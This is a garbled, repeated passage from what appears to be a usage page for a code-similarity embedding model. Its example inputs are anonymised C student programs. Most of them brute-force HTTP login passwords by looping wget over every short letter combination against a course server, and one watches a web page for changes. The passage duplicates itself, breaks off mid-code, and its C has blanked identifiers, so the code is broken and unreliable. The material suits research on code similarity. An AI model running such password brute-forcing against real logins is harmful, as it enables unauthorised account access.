'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- 